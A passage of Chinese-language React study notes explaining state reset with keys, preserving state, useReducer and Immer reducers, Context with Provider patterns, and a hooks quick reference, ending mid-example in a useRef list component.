  * 保持组件函数在每次渲染中引用相同的函数对象，以便 React 正确复用组件实例和 state。

**总结**：不要在组件内部嵌套定义新的组件，否则会造成 state 重置和性能下降。

## 相同位置重置 state{#same-location-reset-state}

**当组件在渲染树中的位置相同时，React 会复用该组件及其 state**，即使传入的 props 发生变化。

例如，切换玩家时两个 `Counter` 组件在同一位置渲染，只是 `person` 不同，但 state 保留：

::: details 示例

```jsx
export default function Scoreboard() {
  const [isPlayerA, setIsPlayerA] = useState(true);

  return (
    <div>
      {isPlayerA ? (
        <Counter person="Taylor" />
      ) : (
        <Counter person="Sarah" />
      )}
      <button onClick={() => setIsPlayerA(!isPlayerA)}>下一位玩家！</button>
    </div>
  );
}
```

:::

这时 `score` 状态不会重置。

在某些场景下，不同的“组件实例”逻辑上应该是独立的，切换时应重置它们的状态。比如：

* 不同玩家的分数计数器
* 不同聊天窗口的输入框内容

**方法一：渲染到不同位置**

将两个 `Counter` 组件渲染到不同的位置，利用 React 对渲染树位置的匹配规则来区分：

```jsx
export default function Scoreboard() {
  const [isPlayerA, setIsPlayerA] = useState(true);

  return (
    <div>
      {isPlayerA && <Counter person="Taylor" />}
      {!isPlayerA && <Counter person="Sarah" />}
      <button onClick={() => setIsPlayerA(!isPlayerA)}>下一位玩家！</button>
    </div>
  );
}
```

**效果**：当切换时，一个 `Counter` 被卸载，state 被销毁，另一个被新建，state 从零开始。

**方法二：使用 `key` 强制 React 识别组件身份**

React 默认用组件位置区分实例，`key` 可以让你指定唯一标识，区分即使位置相同的组件：

```jsx
export default function Scoreboard() {
  const [isPlayerA, setIsPlayerA] = useState(true);

  return (
    <div>
      {isPlayerA ? (
        <Counter key="Taylor" person="Taylor" />
      ) : (
        <Counter key="Sarah" person="Sarah" />
      )}
      <button onClick={() => setIsPlayerA(!isPlayerA)}>下一位玩家！</button>
    </div>
  );
}
```

**效果**：切换 `key` 会导致 React 认为是不同组件，从而卸载旧组件，创建新组件，重置 state。

**key 的作用与注意事项**

* `key` 不是全局唯一，只在同一层的兄弟组件间有效。
* 用于帮助 React 识别哪些元素发生了变化，进行高效重用或重建。
* 对于需要重置状态的组件，合理赋予不同 `key` 是最佳实践。

**应用场景示例：聊天应用输入框状态重置**

```jsx
function Messenger() {
  const [to, setTo] = useState(contacts[0]);

  return (
    <div>
      <ContactList contacts={contacts} selectedContact={to} onSelect={setTo} />
      {/* 加 key 来保证切换联系人时 Chat 组件状态重置 */}
      <Chat key={to.id} contact={to} />
    </div>
  );
}
```

这样切换联系人时，`Chat` 组件的输入框状态会重置，避免输入内容错误地“携带”到其他联系人。

## 保留状态{#reserved-status}

**为被移除的组件保留 state 的方法与思路**

在实际应用中，尤其是聊天类应用，用户切换不同会话时，有时希望保留输入框中的内容，即使当前会话组件从 UI 树中被隐藏或卸载，也能“活着”的状态。以下是几种常见的解决方案：

1. **渲染所有组件，使用 CSS 隐藏不活跃的部分**

* **思路**：不卸载组件，仅通过 CSS （如 `display: none`）隐藏非当前会话对应的组件。
* **效果**：所有聊天组件依然存在于 React 渲染树中，因此它们的内部 state 完全保留。
* **优缺点**：
  * 优点：简单，state 保留自然，不用额外逻辑。
  * 缺点：如果隐藏组件树很大、包含大量 DOM 节点，性能可能受影响。

2. **状态提升 (Lifting State Up)**

* **思路**：将聊天内容（草稿）状态提升至父组件中集中管理。
* **实现**：
  * 父组件维护一个对象，key 是联系人 ID，value 是对应的草稿文本。
  * 子组件渲染时，通过 props 获取草稿内容及更新函数。
* **优点**：
  * 子组件可以安全地卸载，不影响草稿保存。
  * 状态集中，便于管理和持久化。

3. **使用持久化存储（如 localStorage）**

* **思路**：将草稿信息存储在浏览器的 `localStorage`，组件初始化时从中读取，退出时保存。
* **优点**：
  * 即使用户关闭或刷新页面，草稿依然保存。
  * 状态不依赖于组件生命周期。
* **缺点**：
  * 需要额外的同步逻辑。
  * 可能带来存储过期和同步问题。

**为不同聊天会话指定不同的 `key`**

* **说明**：不同的会话组件从概念上是不同的 React 组件树，应给它们不同的 `key`，即使它们渲染在相同位置。
* **效果**：
  * React 会为每个 `key` 创建独立的状态树。
  * 结合上述方案，确保不同会话的状态相互隔离。

## Reducer{#reducer }

当一个组件拥有 **许多状态更新逻辑** 时，如果把这些逻辑分散在不同的事件处理函数里，代码很快就会变得难以维护。你需要在多个地方记住不同的更新方式，稍有不慎就可能引入 bug。

为了解决这种问题，可以将 **所有的状态更新逻辑集中在一个函数中**，这个函数被称为 **reducer**。

将 `useState` 迁移到 `useReducer` 通过三个步骤即可：

1. 将设置状态的逻辑 **修改** 成 dispatch 的一个 action；
2. **编写** 一个 reducer 函数；
3. 在你的组件中 **使用** reducer。

### 第 1 步: 将设置状态的逻辑修改成 dispatch 的一个 action{#step-1-convert-state-to-dispatch-action}

事件处理程序目前是通过设置状态来 **实现逻辑的**：

::: details 代码

```jsx
function handleAddTask(text) {
  setTasks([
    ...tasks,
    {
      id: nextId++,
      text: text,
      done: false,
    },
  ]);
}

function handleChangeTask(task) {
  setTasks(
    tasks.map((t) => {
      if (t.id === task.id) {
        return task;
      } else {
        return t;
      }
    })
  );
}

function handleDeleteTask(taskId) {
  setTasks(tasks.filter((t) => t.id !== taskId));
}
```

:::

移除所有的状态设置逻辑。只留下三个事件处理函数：

* `handleAddTask(text)` 在用户点击 “添加” 时被调用。
* `handleChangeTask(task)` 在用户切换任务或点击 “保存” 时被调用。
* `handleDeleteTask(taskId)` 在用户点击 “删除” 时被调用。

使用 **reducer** 管理状态与直接调用 `setState` 有所不同。
这里，你不是直接告诉 React “状态应该变成什么”，而是通过事件处理函数 **dispatch 一个 action**，来表达“用户刚刚做了什么”。

状态的更新逻辑则集中在 reducer 中进行处理。
因此，在事件处理器里我们不再写“直接设置 task”，而是发送一个类似“添加任务 / 修改任务 / 删除任务”的 action。

这种方式更贴近用户的思维过程：用户不会去想“我要把任务数组变成什么样”，而是会说“我刚刚添加了一个任务”。

::: details 代码

```jsx
function handleAddTask(text) {
  dispatch({
    type: 'added',
    id: nextId++,
    text: text,
  });
}

function handleChangeTask(task) {
  dispatch({
    type: 'changed',
    task: task,
  });
}

function handleDeleteTask(taskId) {
  dispatch({
    type: 'deleted',
    id: taskId,
  });
}
```

:::

你传递给 `dispatch` 的对象叫做 “action”：

```jsx
// "action" 对象：
{
    type: 'deleted',
        id: taskId,
}
```

它是一个普通的 JavaScript 对象。它的结构是由你决定的，但通常来说，它应该至少包含可以表明 **发生了什么事情** 的信息。

::: note 提醒

`action` 对象的结构并没有强制要求，但按照惯例，我们通常会添加一个字符串类型的 **`type` 字段** 来描述“发生了什么”，并通过其他字段传递额外的信息。

`type` 的值是 **组件内部约定的**，比如在这个例子里，`"added"` 或 `"added_task"` 都可以。关键是选择一个能清楚表达事件含义的名字！

```jsx
dispatch({
  type: 'what_happened', // 描述事件类型
  // 这里可以放额外的数据
});
```

:::

### 第 2 步: 编写一个 reducer 函数{#step-2-write-a-reducer-function}

reducer 函数就是你放置状态逻辑的地方。它接受两个参数，分别为当前 state 和 action 对象，并且返回的是更新后的 state：

```jsx
function yourReducer(state, action) {
  // 给 React 返回更新后的状态
}
```

React 会将状态设置为你从 reducer 返回的状态。

在这个例子中，要将状态设置逻辑从事件处理程序移到 reducer 函数中，你需要：

1. 声明当前状态（`tasks`）作为第一个参数；
2. 声明 `action` 对象作为第二个参数；
3. 从 `reducer` 返回 **下一个** 状态（React 会将旧的状态设置为这个最新的状态）；

下面是所有迁移到 `reducer` 函数的状态设置逻辑：

```jsx
function tasksReducer(tasks, action) {
  if (action.type === 'added') {
    return [
      ...tasks,
      {
        id: action.id,
        text: action.text,
        done: false,
      },
    ];
  } else if (action.type === 'changed') {
    return tasks.map((t) => {
      if (t.id === action.task.id) {
        return action.task;
      } else {
        return t;
      }
    });
  } else if (action.type === 'deleted') {
    return tasks.filter((t) => t.id !== action.id);
  } else {
    throw Error('未知 action: ' + action.type);
  }
}
```

由于 `reducer` 函数接受 state（`tasks`）作为参数，因此你可以 **在组件之外声明它**。这减少了代码的缩进级别，提升了代码的可读性。

上面的代码使用了 `if/else` 语句，但是在 reducer 中使用 [switch 语句](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Statements/switch) 是一种惯例。两种方式结果是相同的，但 `switch` 语句读起来一目了然。

```jsx
function tasksReducer(tasks, action) {
  switch (action.type) {
    case 'added': {
      return [
        ...tasks,
        {
          id: action.id,
          text: action.text,
          done: false,
        },
      ];
    }
    case 'changed': {
      return tasks.map((t) => {
        if (t.id === action.task.id) {
          return action.task;
        } else {
          return t;
        }
      });
    }
    case 'deleted': {
      return tasks.filter((t) => t.id !== action.id);
    }
    default: {
      throw Error('未知 action: ' + action.type);
    }
  }
}
```

建议将每个 `case` 块包装到 `{` 和 `}` 花括号中，这样在不同 `case` 中声明的变量就不会互相冲突。此外，`case` 通常应该以 `return` 结尾。如果你忘了 `return`，代码就会 `进入` 到下一个 `case`，这就会导致错误！

如果你还不熟悉 `switch` 语句，使用 `if/else` 也是可以的。

### 第 3 步: 在组件中使用 reducer{#step-3-use-reducer-in-component}

最后，你需要将 `tasksReducer` 导入到组件中。记得先从 React 中导入 `useReducer` Hook：

```jsx
import { useReducer } from 'react';
```

接下来，你就可以替换掉之前的 `useState`:

```jsx
const [tasks, setTasks] = useState(initialTasks);
```

只需要像下面这样使用 `useReducer`:

```jsx
const [tasks, dispatch] = useReducer(tasksReducer, initialTasks);
```

`useReducer` 和 `useState` 很相似——你必须给它传递一个初始状态，它会返回一个有状态的值和一个设置该状态的函数（在这个例子中就是 dispatch 函数）。但是，它们两个之间还是有点差异的。

`useReducer` 钩子接受 2 个参数：

1. 一个 reducer 函数
2. 一个初始的 state

它返回如下内容：

1. 一个有状态的值
2. 一个 dispatch 函数（用来 “派发” 用户操作给 reducer）

**完整代码**

::: details

```jsx
import { useReducer } from 'react';
import AddTask from './AddTask.js';
import TaskList from './TaskList.js';

export default function TaskApp() {
  const [tasks, dispatch] = useReducer(tasksReducer, initialTasks);

  function handleAddTask(text) {
    dispatch({
      type: 'added',
      id: nextId++,
      text: text,
    });
  }

  function handleChangeTask(task) {
    dispatch({
      type: 'changed',
      task: task,
    });
  }

  function handleDeleteTask(taskId) {
    dispatch({
      type: 'deleted',
      id: taskId,
    });
  }

  return (
    <>
      <h1>布拉格的行程安排</h1>
      <AddTask onAddTask={handleAddTask} />
      <TaskList
        tasks={tasks}
        onChangeTask={handleChangeTask}
        onDeleteTask={handleDeleteTask}
      />
    </>
  );
}

function tasksReducer(tasks, action) {
  switch (action.type) {
    case 'added': {
      return [
        ...tasks,
        {
          id: action.id,
          text: action.text,
          done: false,
        },
      ];
    }
    case 'changed': {
      return tasks.map((t) => {
        if (t.id === action.task.id) {
          return action.task;
        } else {
          return t;
        }
      });
    }
    case 'deleted': {
      return tasks.filter((t) => t.id !== action.id);
    }
    default: {
      throw Error('未知 action: ' + action.type);
    }
  }
}

let nextId = 3;
const initialTasks = [
  {id: 0, text: '参观卡夫卡博物馆', done: true},
  {id: 1, text: '看木偶戏', done: false},
  {id: 2, text: '打卡列侬墙', done: false}
];
```

:::

你当然可以把 reducer 移到一个单独的文件中。

## 为什么叫做 reducer？{#why-is-it-called-reducer}

它的名字来源于 **数组方法 `reduce()`**，`reduce()` 可以把数组中的多个值 **“累积” 成一个最终值**：

```js
const arr = [1, 2, 3, 4, 5];
const sum = arr.reduce(
  (result, number) => result + number
); // 1 + 2 + 3 + 4 + 5
```

在这里，你传递给 `reduce()` 的那个函数就叫 **reducer**：

* 它接受 **当前的累积结果** 和 **当前元素**，
* 返回 **下一个累积结果**。

React 的 reducer 也是一样的：

* 它接受 **当前状态** 和 **action**，
* 返回 **下一个状态**。

随着一连串 action 的不断传入，状态就像数组求和一样 **逐步累积** 出最终结果。

## 如何编写一个优秀的 reducer{#outstanding-reducer}

在编写 reducer 时，有两个核心原则必须牢记：

### 保持纯净{#keep-reducer-pure}

reducer 必须是一个 **纯函数**，这一点和 React 的状态更新函数类似。

* **为什么？**
  reducer 会在渲染阶段执行，而 actions 则会在下一次渲染前被依次处理。如果 reducer 内部存在副作用（比如发起异步请求、启动定时器、操作 DOM 或修改外部变量），就会导致结果不可预测。
* **纯函数的定义**：
  * 相同的输入（state + action） → 必须产生相同的输出（newState）。
  * 不依赖外部的可变数据。
  * 不产生任何副作用。
* **实现方式**：
  使用 **不可变更新** 来修改对象或数组。例如，不直接修改原始数组，而是使用 `map`、`filter`、`concat` 等方法返回新数组；更新对象时用展开运算符创建副本。

**好习惯**：在 reducer 中只关心 **“输入 → 输出”** 的纯逻辑，把异步或副作用交给其他地方（如 `useEffect`）。

### 一个 action 描述一次用户交互{#action-describes-single-interaction}

每个 action 应该对应 **一次完整的用户意图**，即使它会引发多个字段或状态的变化。

* **示例**：
  * 用户点击 “重置表单” 按钮（表单有五个字段）。
  * 正确做法：`dispatch({ type: 'reset_form' })`，在 reducer 内一次性重置所有字段。
  * 不推荐做法：依次触发五个 `dispatch({ type: 'set_field', ... })`。

这样做有几个好处：

1. **语义清晰** —— action 日志能直接反映用户操作。
2. **可调试性强** —— reducer 的日志就像一份“交互时间线”，你可以顺着 action 流轻松复现整个应用的状态演变。
3. **便于扩展** —— 当交互逻辑变复杂时，一个语义明确的 action 更容易维护。

**总结**：

* 把 reducer 想象成 **状态的计算机**，输入 `state` + `action`，输出 `newState`，仅此而已。
* 把 action 想象成 **用户的操作日志**，它描述了“发生了什么”，而不是“怎么改”。

## 使用 Immer 简化 Reducer{#use-immer-to-simplify-reducer}

在编写 reducer 时，一个关键原则是 **不可变性**：我们不能直接修改原始的 `state`，而必须返回一个全新的副本。
然而，手动维护不可变更新有时会很繁琐，尤其是当 `state` 包含嵌套对象或复杂数组时，代码会显得冗长。

这时就可以引入 **Immer**。

**为什么选择 Immer**？

* **自动处理不可变性**：你可以“看似”直接修改 `state`，实际上修改的是一个特殊的 **draft（草稿）对象**。
* **保持 reducer 的纯净**：虽然代码写起来像是“可变”的，但 Immer 会在底层帮你生成一个全新的不可变 `state`。
* **简化复杂逻辑**：比如修改数组中的某一项或对象的某个属性，避免手动写大量 `...spread` 操作。

::: details 示例

```jsx
import { useImmerReducer } from 'use-immer';
import AddTask from './AddTask.js';
import TaskList from './TaskList.js';

function tasksReducer(draft, action) {
  switch (action.type) {
    case 'added': {
      draft.push({
        id: action.id,
        text: action.text,
        done: false,
      });
      break; // 不需要返回，Immer 会自动生成新的 state
    }
    case 'changed': {
      const index = draft.findIndex((t) => t.id === action.task.id);
      draft[index] = action.task;
      break;
    }
    case 'deleted': {
      return draft.filter((t) => t.id !== action.id); 
      // 这里返回新数组也没问题，Immer 会兼容
    }
    default: {
      throw Error('未知 action：' + action.type);
    }
  }
}

export default function TaskApp() {
  const [tasks, dispatch] = useImmerReducer(tasksReducer, initialTasks);

  function handleAddTask(text) {
    dispatch({ type: 'added', id: nextId++, text });
  }

  function handleChangeTask(task) {
    dispatch({ type: 'changed', task });
  }

  function handleDeleteTask(taskId) {
    dispatch({ type: 'deleted', id: taskId });
  }

  return (
    <>
      <h1>布拉格的行程安排</h1>
      <AddTask onAddTask={handleAddTask} />
      <TaskList
        tasks={tasks}
        onChangeTask={handleChangeTask}
        onDeleteTask={handleDeleteTask}
      />
    </>
  );
}

let nextId = 3;
const initialTasks = [
  { id: 0, text: '参观卡夫卡博物馆', done: true },
  { id: 1, text: '看木偶戏', done: false },
  { id: 2, text: '打卡列侬墙', done: false },
];
```

:::

**优点**：

**更直观**：像 `draft.push()`、`draft[index] = ...` 这样的写法接近普通的“可变”写法，更容易理解。

**减少样板代码**：不用再频繁写 `map`、`filter`、展开运算符来拷贝对象或数组。

**保持 reducer 的纯净**：虽然写起来像是“修改”，但 reducer 依然是纯函数，因为 Immer 在底层保证了不可变性。

## Context 跨层级共享状态{#context-share-state-across-levels}

* **Context 是一条数据通道**
* 允许祖先组件为整棵子树提供数据
* 避免 props 在多层组件中“手动转发”
* 本质：**按组件树结构查找最近的 Provider**

**创建 Context**

* 使用 `createContext` 声明一个共享数据类型
* 只定义“是什么”，不关心“值从哪来”

```tsx
// context/ThemeContext.ts
import { createContext } from 'react';

export const ThemeContext = createContext<'light' | 'dark'>('light');
```

* Context 通常放在独立文件中
* 一个 Context 只负责一种语义的数据

**提供 Context（Provider）**

* **必须使用 `Context.Provider`**
* `useContext` 只会读取 Provider 提供的值
* 不存在 Provider 时，读取默认值

```tsx
<ThemeContext.Provider value="dark">
  <App />
</ThemeContext.Provider>
```

规则：

* Provider 决定值
* Provider 可以嵌套
* 下层会读取**最近的 Provider**

**读取 Context**

* 函数组件：`useContext`
* 类组件：`Context.Consumer`
* 只能在组件顶层调用

```tsx
import { useContext } from 'react';
import { ThemeContext } from './ThemeContext';

const theme = useContext(ThemeContext);
```

**Provider 查找规则**

* 沿组件树向上查找
* 找最近的 **同一个 Context.Provider**
* 找不到 → 使用 `createContext` 的默认值
* 不同 Context 彼此独立，互不影响

**类比 CSS 继承：**

* 上层 Provider ≈ 父级样式
* 下层 Provider ≈ 覆盖样式

***

**Context ≠ State**

* Context 本身不存状态
* Context 只是**传递 state 的容器**
* 真正变化的是 state / reducer

## Context + useReducer

**核心原则**

* **state 和 dispatch 一起放进 Context**
* UI 组件只负责使用，不负责管理

**Counter**

```tsx
import { createContext, useContext, useReducer, ReactNode } from 'react';

type State = { count: number };
type Action = { type: 'inc' } | { type: 'dec' };

const CounterContext = createContext
<{
    state: State;
    dispatch: React.Dispatch<Action>;
} | null>
      (null);
```

```tsx
function counterReducer(state: State, action: Action): State {
  switch (action.type) {
    case 'inc':
      return { count: state.count + 1 };
    case 'dec':
      return { count: state.count - 1 };
    default:
      return state;
  }
}
```

```tsx
export function CounterProvider({ children }: { children: ReactNode }) {
  const [state, dispatch] = useReducer(counterReducer, { count: 0 });

  return (
    <CounterContext.Provider value={{ state, dispatch }}>
      {children}
    </CounterContext.Provider>
  );
}
```

**为什么要封装 Provider 组件**

* 避免在 App 层堆满 Provider
* 集中 state / reducer / context
* 明确语义：**这是一个“状态域”**

推荐命名：

* `ThemeProvider`
* `AuthProvider`
* `CounterProvider`

不推荐：

* `<ThemeContext>`（容易误导）

**什么时候该用 Context**

适合：

* 全局主题 / 语言
* 当前用户 / 权限
* 路由状态
* 跨层级共享的业务状态

不适合：

* 只传两三层 props
* 局部 UI 状态
* 高频变化但只影响少数组件的数据

**总结**

* Context 是**数据通道，不是状态**
* `useContext` **必须**配合 `Context.Provider`
* 推荐模式：**Context + Provider + 自定义 Hook**
* reducer 负责“怎么变”，context 负责“给谁用”

## Context API 参数解析

### createContext

```tsx
const MyContext = createContext<T>(defaultValue);
```

**参数说明**：**`defaultValue`**

当组件树中**没有匹配的 Provider**时使用。只在以下两种情况生效：

* 组件未被任何 Provider 包裹
* 组件被错误地包裹（例如用错 Context）

**建议**：`defaultValue` 用 `null`，在自定义 Hook 中主动抛错

### Context.Provider

```tsx
<MyContext.Provider value={contextValue}>
  {children}
</MyContext.Provider>
```

**Props 说明**

**`value`（必需）**

* 提供给子树的 context 值
* 只要 `value` 发生变化，就会触发所有使用该 Context 的组件重新渲染

**`children`** Provider 覆盖的组件树范围

**重要机制**

* Provider 通过 **引用比较（Object.is）** 判断是否更新
* 对象 / 函数类型建议配合 `useMemo` 或 reducer 使用

```tsx
const value = useMemo(() => ({ state, dispatch }), [state]);

<MyContext.Provider value={value}>
```

**Context 判断是否更新，只看 `value` 的“引用是否变化”，不是看内容**。

::: important

**原始类型（string / number / boolean）**

```tsx
<ThemeContext.Provider value="dark">
```

* `"dark"` 是原始值
* 内容相同 ⇒ 引用一定相同
* 不会产生“误更新”

```tsx
Object.is("dark", "dark") // true
```

**安全、简单、不需要 useMemo**

**引用类型（object / array / function）**

```tsx
<CounterContext.Provider value={{ state, dispatch }}>
```

这里是重点：

* **每次 render 都会创建一个新对象**
* 即使 `state` 没变
* 引用也一定不同

```tsx
{} !== {}
Object.is({ a: 1 }, { a: 1 }) // false
```

React 认为：**Context 变了**

所有 `useContext` 的组件 **全部重新渲染**

**这就是为什么需要 `useMemo`**

```tsx
const value = useMemo(
  () => ({ state, dispatch }),
  [state]
);

<MyContext.Provider value={value}>
```

含义是：

* **只在 `state` 变化时**
* 才创建新的 `{ state, dispatch }`
* 否则复用旧引用

```tsx
Object.is(prevValue, nextValue) // true（state 没变）
```

子组件 **不会因为“无意义的新对象”而重渲染**

对于 **function**

```tsx
<MyContext.Provider value={dispatch}>
```

如果：

* `dispatch` 来自 `useReducer` （稳定引用）
* `setState` 来自 `useState` （稳定引用）

**这两种不用 memo**

但如果你这样写：

```tsx
<MyContext.Provider value={() => doSomething(state)}>
```

每次 render 都是新函数，和新对象一样，**引用必变**

解决方式：

```tsx
const fn = useCallback(
  () => doSomething(state),
  [state]
);
```

:::

### useContext

```tsx
const value = useContext(MyContext);
```

**行为规则**

* 返回最近的同一个 Context.Provider 的 `value`
* 若不存在 Provider → 返回 `defaultValue`
* 订阅 Context 变化，Provider 更新会触发组件重渲染

**使用限制**

* 只能在函数组件或自定义 Hook 顶层调用
* 不能用于条件、循环、普通函数中

### Context.Consumer

```tsx
<MyContext.Consumer>
  {(value) => <Component value={value} />}
</MyContext.Consumer>
```

* 主要用于类组件
* 函数组件优先使用 `useContext`
* Consumer 与 `useContext` 读取规则完全一致

## 多 Provider 覆盖规则

```tsx
<ThemeContext.Provider value="dark">
  <Page>
    <ThemeContext.Provider value="light">
      <Button />
    </ThemeContext.Provider>
  </Page>
</ThemeContext.Provider>
```

* `Button` 读取的是 `"light"`
* 就近原则
* 覆盖只对当前 Context 生效

## Context 更新行为

* Provider 的 `value` 改变
* **所有使用该 Context 的子组件重新渲染**
* 与组件层级无关，只与是否使用该 Context 有关

```tsx
<Provider>
  <A>        // 不用 Context → 不更新
    <B>      // 不用 Context → 不更新
      <C />  // useContext → 更新
    </B>
  </A>
</Provider>
```

A / B 不会 render，C 会

## 强制 Provider 的标准写法

```tsx
const MyContext = createContext<MyValue | null>(null);

export function useMyContext() {
  const ctx = useContext(MyContext);
  if (!ctx) {
    throw new Error('useMyContext must be used inside MyProvider');
  }
  return ctx;
}
```

* 防止漏包 Provider
* 错误在开发阶段立即暴露
* 工程中**非常推荐**

---

---
url: /react/8qwixwfv/index.md
---
# React API 速查
## useLayoutEffect

React 更新页面时大概是这样：

1. **React 算好虚拟 DOM**
2. **DOM 已经改到页面上**
3. 浏览器 **把页面画出来（paint）**
4. 才轮到 `useEffect`

`useEffect` 是 **画完之后再跑**，所以你有时候会看到页面「先闪一下，再变」

`useLayoutEffect` **它插队在第 3 步前面：**

流程变成：

1. React 算好虚拟 DOM
2. DOM 已经改到页面上
3. **useLayoutEffect 立刻同步执行（还没画）**
4. 浏览器画页面

浏览器 **必须等你这个 effect 跑完，才允许画页面**

**典型使用场景**

你必须“读 DOM 或改 DOM”，而且不允许页面闪

比如：

* 量元素尺寸
* 立刻修正位置
* 同步滚动位置
* tooltip / 弹窗定位
* 根据真实 DOM 计算布局

```tsx
useLayoutEffect(() => {
  const width = ref.current!.offsetWidth
  setWidth(width)
}, [])
```

如果用 `useEffect`：

* 页面先画一次（尺寸不对）
* 再改
* 用户能看到抖动 / 闪一下

什么时候 **千万别用**

* 数据请求
* 日志
* 订阅
* 定时器
* 任何“跟布局没关系”的事

原因很简单：**它会阻塞浏览器渲染，用多了直接卡页面**

**总结**：**`useLayoutEffect`：React 已经把 DOM 都更新完了，只差浏览器 paint，这时强行插队同步跑一段代码。**

**目的是：在用户看到页面之前，最后一次读 / 改 DOM。**

`useLayoutEffect` 的“用法”和 `useEffect` 一模一样，区别只有“什么时候执行”。

你能做的事都一样：

* 依赖数组
* cleanup 函数
* 多个 effect
* 依赖变化触发

**没有任何语法或写法差异。**

唯一、也是全部的区别：**执行时机**

| 对比项             | useEffect | useLayoutEffect |
| ------------------ | --------- | --------------- |
| DOM 是否已更新     | ✅         | ✅               |
| 浏览器是否已 paint | ❌ 已画    | ❌ 还没画        |
| 是否阻塞渲染       | ❌         | ✅               |
| 是否可能闪         | 有可能    | 不会            |

## useCallback

`useCallback` **缓存的是“函数引用”**（也就是同一个 function 对象），而不是缓存函数执行结果。

React 每次 render 时，你在组件里写的：

```js
const onClick = () => setCount(c => c + 1)
```

都会创建一个**新的函数对象**。如果你把这个函数作为 props 传给子组件，子组件就会看到 props 变了（引用变了），哪怕逻辑完全一样。

`useCallback` 的作用就是：**在依赖不变时，返回同一个函数引用**。

**API 签名 & 参数**

```js
const memoizedFn = useCallback(callback, deps)
```

**参数 1：`callback`**

* 类型：函数
* 语义：你想要稳定引用的那个函数
* 注意：React **不会**自动给你“冻结”闭包里的变量，闭包读到的值取决于你怎么写依赖和函数体。

**参数 2：`deps`（依赖数组）**

* 类型：数组（`DependencyList`）
* 语义：当 deps 中任意一项发生变化时，React 会返回一个**新的函数引用**（也就是重新“生成”并记住这次的 callback）
* 规则：跟 `useEffect`、`useMemo` 完全一样
  * 依赖比对是 **Object.is**（浅比较）
  * `[]` 表示“只创建一次”（但仍要小心闭包读到的是否是“旧值”）
  * deps 里应包含 callback 中用到的**所有来自组件作用域的变量/函数/props/state**（除了一些“稳定”的东西）

**使用场景**

**把 callback 传给 `React.memo` 的子组件**，子组件用 `React.memo` 做了 props 浅比较，稳定引用能避免子组件无意义重渲染。

**callback 是某个 hook 的依赖**，比如 `useEffect`/`useMemo`/自定义 hook 依赖它，不稳定会导致 effect 每次都跑。

**传给第三方组件/订阅系统的 handler 需要稳定**，例如事件订阅、addEventListener、WebSocket 回调等（当然同时要正确处理闭包值）。

***

**闭包与“旧值”坑**

坑 1：`[]` 导致读到旧 state/props

```js
const [count, setCount] = useState(0)

const inc = useCallback(() => {
  setCount(count + 1) // count 永远是第一次 render 的 0
}, [])
```

正确写法 1：把 `count` 放进 deps

```js
const inc = useCallback(() => {
  setCount(count + 1)
}, [count])
```

正确写法 2（更推荐）：用函数式更新，避免依赖 `count`

```js
const inc = useCallback(() => {
  setCount(c => c + 1)
}, []) // 这里可以安全用 []
```

一般你要写“所有外部引用”，但有几类在 React 里通常被认为是**稳定的**：

* `setState`（比如 `setCount`）在同一组件生命周期内引用稳定
* `dispatch`（`useReducer` 返回的）通常稳定
* `ref` 对象本身（`useRef` 返回的对象）稳定；但 `ref.current` 会变，这个是“值”不是“引用”
* React 官方保证的一些 hook 返回值可能稳定

但实话：**最稳妥**是让 eslint 的 `react-hooks/exhaustive-deps` 帮你管，除非你非常确定。

## React.memo

不用 `React.memo` 的普通组件

```jsx
function Child({ name }) {
  console.log('Child render')
  return <div>{name}</div>
}
```

只要 **父组件重新 render**，`Child` 就一定会重新 render，**不管 props 有没有变**。

**用了 `React.memo` 的子组件**

```jsx
const Child = React.memo(function Child({ name }) {
  console.log('Child render')
  return <div>{name}</div>
})
```

现在规则变成：

**父组件 render 时，React 会先“对比这次和上次的 props”**

* 如果 props **看起来一样** → 跳过 Child 的 render
* 如果 props **有变化** → 才 render Child

这一步就叫：**props 浅比较**

**什么是“props 浅比较”？**

浅比较 = 只比「引用」，不比「内容」

React.memo 默认的比较逻辑是：

```jsx
Object.is(prevProps.xxx, nextProps.xxx)
```

**典型的例子**

```jsx
const Child = React.memo(function Child({ onAdd }) {
  console.log('Child render')
  return <button onClick={onAdd}>+1</button>
})

function Parent() {
  const [count, setCount] = React.useState(0)
  const [other, setOther] = React.useState(0)

  const onAdd = () => {
    setCount(c => c + 1)
  }

  return (
    <>
      <Child onAdd={onAdd} />
      <button onClick={() => setOther(o => o + 1)}>
        change other
      </button>
    </>
  )
}
```

你点 `change other` 会发生什么？

* `Parent` 的 `other` 变了 → Parent 重新 render

* **`onAdd` 在 Parent 里重新定义了一次** 新函数对象

* `React.memo` 对比 props：

  ```js
  prev.onAdd !== next.onAdd // true
  ```

* 结论：**Child 必须重新 render**

即使：

* `onAdd` 代码一模一样
* `count` 根本没变
* Child 实际 UI 没任何变化

**加上 `useCallback`（关键）**

```jsx
const onAdd = React.useCallback(() => {
  setCount(c => c + 1)
}, [])
```

现在再点 `change other`：

* Parent render（没办法）

* `useCallback` 返回 **同一个 onAdd 函数引用**

* `React.memo` 对比 props：

  ```jsx
  prev.onAdd === next.onAdd // true
  ```

* Child **直接跳过 render**

## useRef

`useRef(initialValue)` 返回一个**稳定不变的容器对象**：`{ current: ... }`

* **跨渲染保持同一个对象引用**（identity 稳定）
* 修改 `ref.current` **不会触发组件重新渲染**
* 常见用途：**拿 DOM / 组件实例、保存可变值、做“逃逸”状态、和事件/计时器结合**

**获取 DOM**

```jsx
function Demo() {
  const inputRef = React.useRef(null);

  React.useEffect(() => {
    inputRef.current?.focus();
  }, []);

  return <input ref={inputRef} />;
}
```

**关键点**

* 初始 `current` 是 `null`
* 挂载后 React 会把 DOM 节点赋给 `inputRef.current`
* 卸载时 React 会把 `current` 设回 `null`

**useRef 的类型**

DOM 节点

```js
const divRef = useRef<HTMLDivElement | null>(null);
```

保存可变业务值

```js
const timerIdRef = useRef<number | null>(null); // 浏览器 setTimeout 返回 number
```

**回调 ref**

```jsx
<div ref={(node) => { /* node 是 DOM 节点或 null */ }} />
```

**回调参数 node 的含义**

* 元素挂载/更新时：`node` 是对应的 DOM 节点（或类组件实例）
* 元素卸载或 ref 被切换时：`node` 会变成 `null`

你需要**正确处理 null**，否则容易报错。

::: details **示例**：标准 List 组件

```jsx
import { useRef, useCallback } from "react";

type Cat = {
  id: number;
  name: string;
};

export default function List() {
  // 用 Map 保存多个 DOM 节点（key 必须稳定）
  const itemRefMap = useRef<Map<number, HTMLLIElement>>(new Map());

  const cats: Cat[] = [
    { id: 1, name: "Whiskers" },
    { id: 2, name: "Fluffy" },
  ];

  // 稳定的 ref 工厂函数
  const setItemRef = useCallback(
